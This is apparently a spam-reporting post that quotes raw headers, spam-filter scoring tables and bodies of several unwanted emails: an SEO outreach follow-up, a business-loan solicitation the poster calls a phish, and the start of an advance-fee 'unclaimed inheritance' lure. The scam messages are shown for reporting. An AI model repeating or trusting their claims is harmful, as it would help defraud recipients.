3oT3npfeg6zkawnfZA1wtg0LbrqvXLPfKmb0SWZhnYdEBY6BTSLBNNOP//OA73/Z6//7

r2g3jkZiyZY26faRusKy7qo0uRghEqr7bJQXJIkyOpc5Fpbss21rrV765oI2x8UrsEK2

Sapw==;

dara=google.com

ARC-Authentication-Results: i=2; mx.google.com;

dkim=pass header.i=@gmail.com header.s=20251104 header.b=n7SXJOek;

arc=pass (i=1);

spf=pass (google.com: domain of ella.white3180@gmail.com designates 209.85.220.65 as permitted sender) smtp.mailfrom=ella.white3180@gmail.com;

dmarc=pass (p=NONE sp=QUARANTINE dis=NONE) header.from=gmail.com;

dara=neutral header.i=@rankbeacon.xyz

Received: from mail-sor-f65.google.com (mail-sor-f65.google.com. [209.85.220.65])

by mx.google.com with SMTPS id 2adb3069b0e04-5b458c08024sor518787e87.21.2026.08.16.07.08.59

for

(Google Transport Security);

Sun, 16 Aug 2026 07:08:59 -0700 (PDT)

Received-SPF: pass (google.com: domain of ella.white3180@gmail.com designates 209.85.220.65 as permitted sender) client-ip=209.85.220.65;

ARC-Seal: i=1; a=rsa-sha256; t=1786889339; cv=none;

d=google.com; s=arc-20260327;

b=SWAyJQhOLiPldnI9D1H1ARGV2t0hxgo8wCgu+4Ffww7YaFhHeok41zAuazeGGoayGt

02C/nyGkaiMcEYVpmFoXrqj5CxaLj55i/EAd4apLygflKtWllQmfy55clSDiS4kyudcJ

nn5YL1/IAWPu5gBcrOfklN4SgBkQ3RCbgm6q0ulgKFAatbYyFTAT09XrlB4lmlp/QijQ

pevLscJh445rk7Uplo4hCekM7SRb9pgQvwI14FAx67Eurp2vbrXbtHIdH7U8NWZFHLQ9

Tnoasa4znK9odLnurscr9tRMswGIywLasoQr6B6+2BZ+c2/O4X3uyniPaRqeZa56PWGu

1ymw==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;

h=to:subject:message-id:date:from:in-reply-to:references:mime-version

:dkim-signature;

bh=6q7nRixXOGe11v8rzEdvRwsTcgzOZvxCh6SbCp5GjEM=;

fh=PWSUFaEq1CkbsfShP2jell5RPg3MDtCYx7KzhsUuaJc=;

b=VwrdKhcknyWGew92Tmc8BXUBnRF6S72J2OXkJWxSF/5+cWKs2PodqFVFU+AAp6+7I9

tiPUWbnnzTZUzcVFyOpKhAgEKVyuo2sR+/NyDE0ejmuPXtbR47ZLSwcHocv3aYjVgcaN

dyI8qiWg5cRq9/R4OI8JVInDfN+XUT7QIMJ/rAWpLf41BITMg1xAFaNVpxzVZbfhCpxY

RgX8JM7kGVBioJPedDrcNIyS4wE8NF/6UGa2qMmQmyY2vvqFaWu+FdyA9zR2bZJ419Vb

JfvgxwAVSwae0aynZRTz8iXcIgV2uHGMrvC/xBU4Rx+hhP5OgwfAoxUzjTsOxxbwLhxY

h0yA==;

darn=rankbeacon.xyz

ARC-Authentication-Results: i=1; mx.google.com; arc=none

X-Gm-Gg: AR+sD13SprCBaHxb33W6ach7mihb8tVzV4BxYFpDggLxICEdKmGx5QJi9n4X7WGMzNk

JXUi+OxpUgbDChW03ZL79Vde2nW9ZkqooKO9WDyIcZRedzw2u6jfMA/Za4uaIopb3ftE8qPYDF9

3NTxp/SPiA0AO9ItF/NrxuKMEtNGNRZQ7GTADyzIgaUvzfmHdfJwi3KpPSsmWefnaEGVU3GwLLu

5icGze4Okk3KIhgNKr8XL2zRXj3Bf9q5yH7PF9AHST5EXlXQ5D1DEA6JjrT3OioOaUUuI8eCaxm

nfG6wt/WU7aaJa7XG+osdcCf07iJ++eLe7dMsEaUd3JBu2X1kS0g/lXhMi6sR4toq9pVuC57OBQ

9teA9oO8DWNafKx8SaKT5DsnqUkRcXl5vo9BC

X-Received: by 2002:a05:6512:3a96:b0:5b2:e947:b3e6 with SMTP id

2adb3069b0e04-5b459163b2fmr2645524e87.2.1786889339337; Sun, 16 Aug 2026

07:08:59 -0700 (PDT)

MIME-Version: 1.0

References:

In-Reply-To:

From: Ella White

Date: Sun, 16 Aug 2026 19:40:52 +0530

X-Gm-Features: AcwNN1Xm8Yv2MLTR9ekpnG2ZZMcWeFJe9iycpdTIDBzCoX5H2UDyYWoRXQ9i0UY

Message-ID:

Subject: Re: I Found a few opportunities on your website

To: google_seo@rankbeacon.xyz

Content-Type: multipart/alternative; boundary="0000000000005300c606592a9879"

X-Original-Sender: ella.white3180@gmail.com

X-Original-Authentication-Results: mx.google.com; dkim=pass

header.i=@gmail.com header.s=20251104 header.b=n7SXJOek; arc=pass

(i=1); spf=pass (google.com: domain of ella.white3180@gmail.com

designates 209.85.220.65 as permitted sender) smtp.mailfrom=ella.white3180@gmail.com;

dmarc=pass (p=NONE sp=QUARANTINE dis=NONE) header.from=gmail.com;

dara=neutral header.i=@rankbeacon.xyz

Precedence: list

Mailing-list: list google_seo@rankbeacon.xyz; contact google_seo+owners@rankbeacon.xyz

List-ID:

X-Spam-Checked-In-Group: google_seo@rankbeacon.xyz

X-Google-Group-Id: 1054195051699

List-Post: ,

List-Help: ,



List-Archive:

List-Subscribe: ,



List-Unsubscribe: ,



X-Spam_score: 10.2

X-Spam_score_int: 102

X-Spam_bar: ++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Just following up on my last email regarding a few website

improvements that could help increase your traffic, leads, and conversions.

I still have the quick snapshot ready for you. Reply *“OK – SEND”

and I’ll share it over.



Content analysis details: (10.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[209.85.167.70 listed in dnsbl.ahbl.org]

[209.85.167.70 listed in dnsbl.ahbl.org]

[209.85.167.70 listed in dnsbl.ahbl.org]

[209.85.167.70 listed in dnsbl.ahbl.org]

[209.85.220.65 listed in dnsbl.ahbl.org]

[209.85.220.65 listed in dnsbl.ahbl.org]

[209.85.220.65 listed in dnsbl.ahbl.org]

[209.85.220.65 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[209.85.167.70 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[209.85.167.70 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[209.85.167.70 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[209.85.167.70 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[209.85.220.65 listed in will-spam-for-food.eu.org]

[209.85.220.65 listed in will-spam-for-food.eu.org]

[209.85.220.65 listed in will-spam-for-food.eu.org]

[209.85.220.65 listed in will-spam-for-food.eu.org]

[209.85.220.65 listed in will-spam-for-food.eu.org]

[209.85.220.65 listed in will-spam-for-food.eu.org]

[209.85.220.65 listed in will-spam-for-food.eu.org]

[209.85.220.65 listed in will-spam-for-food.eu.org]

[209.85.167.70 listed in will-spam-for-food.eu.org]

[209.85.167.70 listed in will-spam-for-food.eu.org]

[209.85.167.70 listed in will-spam-for-food.eu.org]

[209.85.167.70 listed in will-spam-for-food.eu.org]

[209.85.167.70 listed in will-spam-for-food.eu.org]

[209.85.167.70 listed in will-spam-for-food.eu.org]

[209.85.167.70 listed in will-spam-for-food.eu.org]

[209.85.167.70 listed in will-spam-for-food.eu.org]

2.5 URIBL_DBL_SPAM Contains a spam URL listed in the DBL blocklist

[URI: rankbeacon.xyz]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider

[ella.white3180(at)gmail.com]

2.0 PDS_OTHER_BAD_TLD Untrustworthy TLDs

[URI: rankbeacon.xyz (xyz)]

1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist

[URI: rankbeacon.xyz]

1.9 URIBL_JP_SURBL Contains an URL listed in the JP SURBL blocklist

[URI: rankbeacon.xyz]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[209.85.167.70 listed in list.dnswl.org]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[209.85.167.70 listed in bl.score.senderscore.com]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[209.85.167.70 listed in wl.mailspike.net]

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.5 FROM_SUSPICIOUS_NTLD From abused NTLD

-1.0 MAILING_LIST_MULTI Multiple indicators imply a widely-seen list

manager

0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom

freemail headers are different

1.0 BULK_RE_SUSP_NTLD Precedence bulk and RE: from a suspicious TLD

Subject: {SPAM?} Re: I Found a few opportunities on your website



--0000000000005300c606592a9879

Content-Type: text/plain; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable



Just following up on my last email regarding a few website improvements

that could help increase your traffic, leads, and conversions.



I still have the quick snapshot ready for you.



Reply =E2=80=9COK =E2=80=93 SEND=E2=80=9D and I=E2=80=99ll share it over.



Thanks,



On Sat, Jul 25, 2026 at 8:35=E2=80=AFPM Ella White
m> wrote:



> Hi there,

>

> I noticed a few things on your website that may be affecting how

> visitors engage with it.

>

> I documented a few recommendations* that could help improve results.

>

> Should I* send them over?*

>

> Thanks,

>



To unsubscribe from this group and stop receiving emails from it, send an e=

mail to google_seo+unsubscribe@rankbeacon.xyz.



--0000000000005300c606592a9879

Content-Type: text/html; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable



Just following up on my last email regarding a=C2=A0=

few website improvements that could help increase your traffic, leads, and =

conversions.

I still have the=C2=A0quick snapshot ready for yo=

u.

Reply=C2=A0=E2=80=9COK =E2=80=93 SEND=E2=80=9D=C2=A0and=

I=E2=80=99ll share it over.

Thanks,



=3D"gmail_quote gmail_quote_container">

">On Sat, Jul 25, 2026 at 8:35=E2=80=AFPM Ella White <
ella.white3180@gmail.com">ella.white3180@gmail.com> wrote:
=


left:1px solid rgb(204,204,204);padding-left:1ex">
Hi th=

ere,

I noticed a few things on your website that may b=

e affecting how visitors engage with it.

I documented a few r=

ecommendations that could help improve results.

Should I<=

b> send them over?

Thanks,










To unsubscribe from this group and stop receiving emails from it, send an e=

mail to google_seo=

+unsubscribe@rankbeacon.xyz.




--0000000000005300c606592a9879--

Swiftbridge loan phish from Google GMail

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 15 Aug 2026 19:36:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvPmn-00000000Koe-3ONb

for dave@doctor.nl2k.ab.ca;

Sat, 15 Aug 2026 19:35:41 -0600

Resent-From: The Doctor

Resent-Date: Sat, 15 Aug 2026 19:35:41 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pl1-f170.google.com ([209.85.214.170]:44190)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvOXx-00000000DtT-3S0o

for sales@nk.ca;

Sat, 15 Aug 2026 18:16:26 -0600

Received: by mail-pl1-f170.google.com with SMTP id d9443c01a7336-2cf50c6f235so27131635ad.0

for ; Sat, 15 Aug 2026 17:15:30 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=swiftbridge.ca; s=google; t=1786839324; x=1787444124; darn=nk.ca;

h=references:list-unsubscribe-post:list-unsubscribe:message-id:date

:to:from:subject:mime-version:content-type:from:to:cc:subject:date

:message-id:reply-to:content-type;

bh=zMiyRCwPecnr+xJvDV+Xc0s/1rK4flKoB5iMeir0OJk=;

b=QuX2pHGUp3CL8diYThfLPPeObu6JU+AzOPaKjpsX/Wc+97mINN10MCwzF/4zkjZoAP

++g+U7CP03MiVZlKlu4S13rN6bb0yKK438lRIrvmvmG3bUcFhxE8A4RRrTX2MIzznQyL

Y0rOHwuOOi1xL85T/mXMFC4noTwQig//TsI+zk89F9ArxiKcQG2BWLJHrrW7NjK7qKz9

uFuw2/ykUJeAFnSZuiKa6X9HLtv6am+j5lbmJlHVBbubO16ipWfR6tc+3UwvzoLY0udw

cqbg/JLk70OQ+yM8RRjHUi6rrouev3SeYfatXT51Rq54XOH4l2gD/KhoDx+xMC6ajE06

i3eA==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1786839324; x=1787444124;

h=references:list-unsubscribe-post:list-unsubscribe:message-id:date

:to:from:subject:mime-version:content-type:x-gm-gg

:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=zMiyRCwPecnr+xJvDV+Xc0s/1rK4flKoB5iMeir0OJk=;

b=WFLiBPEoxhd5JhnaeOCEwadkTEKVFDjNTcoebrDaju9j2btCWVCBiD/EDLRSRy6HFx

OtUa7HXl7YArplXeyM10CWe2q8dMePKw+oQE4Mtl9egZBe5Me/KWKmYGi8dZvWVMiw1r

CPOgvnfiVnT27lqf5fET5AEOTOBPsZgspTSomhOJJCE1SW557DYF8CtNyD/ktii4WWSU

s4Oo1WV8x0pF0H3jDA1a8GgCsiJ92gjg84fmkKMXKSxgB53n62ADVvqV4r80TpYx6SlW

SyE1uhWTzt6rNYiXXqNHyuhKlvV8hrLsU2kBvz+CLgZ2SsZEiN2pOEI/bUcLQKoCDWR3

ZJMA==

X-Gm-Message-State: AOJu0YxL8Bas0Q+i7L4QnMCVfLvMoHmHFx5hTW4MWWO1RfYC8a9PxRXn

6SGLzjDCaxpZjf+n1ZTgUE1EFKVR9LNZ2AXg16NIcxTVSVG+dm6rx+F3RSxcShkcvK1G4cjRt/W

dCwlb6g==

X-Gm-Gg: AR+sD13pJPdrVjqUwrPN47/GGxopgfJPtEpBs2k224TxGsi9NuW2zlQv+h+qi+RWqTl

LZAvu5/q4NMjRguXlUcjHWJzSW1l8cJSpnK+1AKGeKNxMLjgAPjPYmDwwyg0XCtSIISaVcJtR9f

UOT1dad++nt5lLFA6sNSxgsQw2aPpuL1DaTxYnyRyW/Cx0oWIGY1LkLJPP8ekM5WyrXVmbZJaZc

XSiDqrVKdaUZ12qrFhEHxwJI5ocwzX3/97iSyEjQCwMHgCSx4erqkjJeIY4wQYhQTw+6/K8AUT3

xNz/4n+8IalfBKw2CKoNZj63VkCl4zeza4MoG5vbLLbbKF7rxahvIBIufjWN2w0SW/4VSe2ow1Y

/QXqGgUxGO4huBA8GPMJ7COzQPr0tBCPkkB89ydTgLTCpluiWOLrL5JF6Dr7N6mn6sS6PkeUD2A

AyG1f23LNIEk5hKrHXZM3e3WMmDtRvEZkZ/uDaIbeSvoHZ96FAAfk4G9Lf8aVZ8/9k2fJ540moN

UuhWGWk5gZXC8uzJ2cIhGasJIqMfVkMc0ZLJmhq9a9aCleE79Z3jcvDKvc3AlHt5w==

X-Received: by 2002:a17:903:22c6:b0:2bf:9760:b94d with SMTP id d9443c01a7336-2d3b0c93b9cmr159111625ad.15.1786839324483;

Sat, 15 Aug 2026 17:15:24 -0700 (PDT)

Received: from smtpgw.close.com (am11-natgw-c0.close.com. [54.200.191.154])

by smtp.gmail.com with ESMTPSA id d9443c01a7336-2d530ed40e2sm14901025ad.48.2026.08.15.17.15.22

for

(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);

Sat, 15 Aug 2026 17:15:23 -0700 (PDT)

Content-Type: multipart/mixed; boundary="===============7596885286746844966=="

MIME-Version: 1.0

Subject: quick question

From: =?utf-8?q?Operations_Department?=

To: sales@nk.ca

Date: Sun, 16 Aug 2026 00:15:22 +0000

Message-ID: <178683932262.7.12342631429046061327@smtpgw.close.com>

X-CLOSEIO-EMAIL-ID: acti_ZfJhzUsIAqxRjlMYoaQA433bKs3VvtFj8cCEh7nPZRP

List-Unsubscribe:

List-Unsubscribe-Post: List-Unsubscribe=One-Click

References: <178683932262.7.10029117434204695716@smtpgw.close.com>

X-Spam_score: 8.6

X-Spam_score_int: 86

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hi Gurkirat, Are you currently open to additional capital

for ? We’ve been approving businesses for $25k–$500k in under 48 hours—even

ones that were declined elsewhere.



Content analysis details: (8.6 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[209.85.214.170 listed in dnsbl.ahbl.org]

[209.85.214.170 listed in dnsbl.ahbl.org]

[209.85.214.170 listed in dnsbl.ahbl.org]

[209.85.214.170 listed in dnsbl.ahbl.org]

[54.200.191.154 listed in dnsbl.ahbl.org]

[54.200.191.154 listed in dnsbl.ahbl.org]

[54.200.191.154 listed in dnsbl.ahbl.org]

[54.200.191.154 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[209.85.214.170 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[209.85.214.170 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[209.85.214.170 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[209.85.214.170 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[54.200.191.154 listed in will-spam-for-food.eu.org]

[54.200.191.154 listed in will-spam-for-food.eu.org]

[54.200.191.154 listed in will-spam-for-food.eu.org]

[54.200.191.154 listed in will-spam-for-food.eu.org]

[54.200.191.154 listed in will-spam-for-food.eu.org]

[54.200.191.154 listed in will-spam-for-food.eu.org]

[54.200.191.154 listed in will-spam-for-food.eu.org]

[54.200.191.154 listed in will-spam-for-food.eu.org]

[209.85.214.170 listed in will-spam-for-food.eu.org]

[209.85.214.170 listed in will-spam-for-food.eu.org]

[209.85.214.170 listed in will-spam-for-food.eu.org]

[209.85.214.170 listed in will-spam-for-food.eu.org]

[209.85.214.170 listed in will-spam-for-food.eu.org]

[209.85.214.170 listed in will-spam-for-food.eu.org]

[209.85.214.170 listed in will-spam-for-food.eu.org]

[209.85.214.170 listed in will-spam-for-food.eu.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[209.85.214.170 listed in list.dnswl.org]

1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist

[URI: swiftbridge.ca]

1.9 URIBL_JP_SURBL Contains an URL listed in the JP SURBL blocklist

[URI: swiftbridge.ca]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 RCVD_IN_MSPIKE_H3 RBL: Good reputation (+3)

[209.85.214.170 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[209.85.214.170 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 RCVD_IN_MSPIKE_WL Mailspike good senders

0.6 MEGALONGWORD BODY: Uses really overlong words

0.3 LONGWORD BODY: Uses overlong words

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.0 IMPRO_URI_2 No description available.

1.5 IMPRONONCABLE_2 Too much mixed numbers and lower-case letters

Subject: {SPAM?} quick question



--===============7596885286746844966==

Content-Type: multipart/alternative; boundary="===============3069496292633131665=="

MIME-Version: 1.0



--===============3069496292633131665==

Content-Type: text/plain; charset="utf-8"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable



Hi Gurkirat,



=20



Are you currently open to additional capital for ?



=20



We=E2=80=99ve been approving businesses for $25k=E2=80=93$500k in under 48 =

hours=E2=80=94even ones

that were declined elsewhere.



=20



Takes 2 minutes to check: =20

[Start here ! ](https://form.jotform.com/242605781483259)



=20



Want me to see what you=E2=80=99d qualify for?



=20



\-- =20

=20

=20

=20

--- =20

| | ![photo](https://ci3.googleusercontent.com/meips/ADKq_NZcwYaCAZ90rjgA_b=

jLpd4UBFKqUrHszw5qpzRZhK0SNMTtvlfq5zGViREQoOUAdVJMjeicSY8kTxvpVSSXmTyQwrq5M=

5IB26TVMQhTMEd-HXVMeR6WJ2TFGheuvLHxDzKlmbEZCoK7opGGGjR_q5TiTVefUnoNDMPitlcf=

bg=3Ds0-d-e1-ft#https://d36urhup7zbd7q.cloudfront.net/u/O6rlxveRayv/28587ed=

2-7c1a-49f7-92d8-ab9cbb1a3725__400x400__.jpeg)| **Noah Blake** =20

=20

| **Operations & Customer Support - **[**Apply

Here!**](https://form.jotform.com/261906027631252) =20

**Swiftbridge Funding** =20

--- =20

| [ +1 236-506-](tel:+1236-702-1731)7475 | [swiftbridge.ca](https://swift=

bridge.ca/) =20

--- =20

|

[![instagram](https://ci3.googleusercontent.com/meips/ADKq_NandMz9xr29JOnOo=

0ZGdt9IUU2uHaL1R39vaFC2NqcN17ttmyRblzHiisIgSKi6PYdfEsJSsbtXM30S6OiMDtOlnHuj=

8c9qwveZHk9y4bM-

WnzUlNF7=3Ds0-d-e1-ft#https://gifo.srv.wisestamp.com/s/inst/E4405F/48/0/bac=

kground.png)](https://instagram.com/swiftbridgefunding)|

[![linkedin](https://ci3.googleusercontent.com/meips/ADKq_NYWx_R1C52H8WTUFY=

iJQy38-AlU07dlE8P81d508aEMaVFWlSBbw-

iTGs8QQjhOzTvhy0I8TsN1QrcyihwN0sH39dCjRCrlp_Yv5H1m45hADcbKig=3Ds0-d-e1-ft#h=

ttps://gifo.srv.wisestamp.com/s/ld/0077b5/48/0/background.png)](https://www=

.linkedin.com/company/swift-

bridge-funding/) =20

---|--- =20

=20

To stop receiving these emails, click

[Unsubscribe](https://app.close.com/go/unsubscribe/orga_rkJepeCLpETmCWxJkfO=

SoXmVctXd0sGdXUBNuPxrS8x/sales%40nk.ca/VXBlw6Fuqe1NXDIkBcNws9nXSz1DrVPka6K2=

SzHPIME=3D/)

--===============3069496292633131665==

Content-Type: text/html; charset="utf-8"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable



Hi Gurkirat,

Are you currently open to additi=

onal capital for ?

We=E2=80=99ve been approving bu=

sinesses for $25k=E2=80=93$500k in under 48 hours=E2=80=94even ones that we=

re declined elsewhere.

Takes 2 minutes to check:
r>
ferrer nofollow">Start here !

Want me to see =

what you=E2=80=99d qualify for?

re">
--
pan>


ir=3D"ltr">
s-serif; font-size: 16px; direction: ltr; border-collapse: collapse;">
roup>
table>
ooter">


/ZfJhzUsIAqxRjlMYoaQA433bKs3VvtFj8cCEh7nPZRP/1TRpq4kUQd.png" alt=3D"" width=

=3D"1" height=3D"1" />

--===============3069496292633131665==--



--===============7596885286746844966==--

nigerian spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 15 Aug 2026 16:12:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvMbG-000000005iG-1hcw

for dave@doctor.nl2k.ab.ca;

Sat, 15 Aug 2026 16:11:34 -0600

Resent-From: The Doctor

Resent-Date: Sat, 15 Aug 2026 16:11:34 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [163.172.214.93] (port=43068 helo=ns186.ahcorporation.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvM4W-00000000Pec-3tUF

for doctor@doctor.nl2k.ab.ca;

Sat, 15 Aug 2026 15:38:00 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=prestigeapparelmfg.com; s=default; h=Reply-To:Date:From:To:Subject:

Content-Description:Content-Transfer-Encoding:MIME-Version:Content-Type:

Sender:Message-ID:Cc:Content-ID:Resent-Date:Resent-From:Resent-Sender:

Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:

List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;

bh=+ecfLGAE21ST/rWlKCqMKyHjAD/oM4Eicg22yAkewlE=; b=IE9Uzeoaqdt2AFzd4hyrrE5vTi

tnaJyeXoCMC/SriSfddXxGwlnn6znQvnmOrpMwIHHjqeJIZoRutxp8+kmAJ4T248/nCA37qSJ6UlS

Nn5+fz/fUEF1slzTKB55Y5SqcQKS9y+9rNyp3D/DlQ7w+ebBxsyIUiik3TKHv77s8Qphg/gxpGFF9

Txcq1QyjltCQnCVWDGZ8wCSdSWcswNtE4P0tNOsrWc9BV5sywosjTCvj02LzSRXFwvP7Xx/ocm06U

b+J0k/q9OWvk+JOPsFN5VrAHkmRbnrpB1ULJDoHEZkJQjPFu4T7NE3tg2CtaBB1lmQ7NbIqx1fL1s

ruqJuMNg==;

Received: from 102-219-162-91.ip.home-connect.co.za ([102.219.162.91]:55058 helo=[10.5.0.2])

by 163-172-214-93.cprapid.com with esmtpa (Exim 4.99.3)

(envelope-from )

id 1wvM3R-00000006wWT-1vwz;

Sat, 15 Aug 2026 21:36:34 +0000

Content-Type: text/plain; charset="iso-8859-1"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable

Content-Description: Mail message body

Subject: Hi, Is your email still active?

To: Recipients

From: Mr. Ugo Verni

Date: Sat, 15 Aug 2026 23:36:19 +0200

Reply-To: alexkortig61@gmail.com

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - 163-172-214-93.cprapid.com

X-AntiAbuse: Original Domain - doctor.nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 8] / [47 8]

X-AntiAbuse: Sender Address Domain - prestigeapparelmfg.com

X-Get-Message-Sender-Via: 163-172-214-93.cprapid.com: authenticated_id: support@prestigeapparelmfg.com

X-Authenticated-Sender: 163-172-214-93.cprapid.com: support@prestigeapparelmfg.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 10.8

X-Spam_score_int: 108

X-Spam_bar: ++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: PS: Is your email still active? I am Mr. Alex Kortig, I have

a very important transaction to discuss with you regarding unclaimed inheritance

funds linked to your Name. Kindly respond to my private em [...]



Content analysis details: (10.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

0.1 MISSING_MID Missing Message-Id: header

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[163.172.214.93 listed in dnsbl.ahbl.org]

[163.172.214.93 listed in dnsbl.ahbl.org]

[163.172.214.93 listed in dnsbl.ahbl.org]

[163.172.214.93 listed in dnsbl.ahbl.org]

[102.219.162.91 listed in dnsbl.ahbl.org]

[102.219.162.91 listed in dnsbl.ahbl.org]

[102.219.162.91 listed in dnsbl.ahbl.org]

[102.219.162.91 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[163.172.214.93 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[163.172.214.93 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[163.172.214.93 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[163.172.214.93 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[102.219.162.91 listed in will-spam-for-food.eu.org]

[102.219.162.91 listed in will-spam-for-food.eu.org]

[102.219.162.91 listed in will-spam-for-food.eu.org]

[102.219.162.91 listed in will-spam-for-food.eu.org]

[102.219.162.91 listed in will-spam-for-food.eu.org]

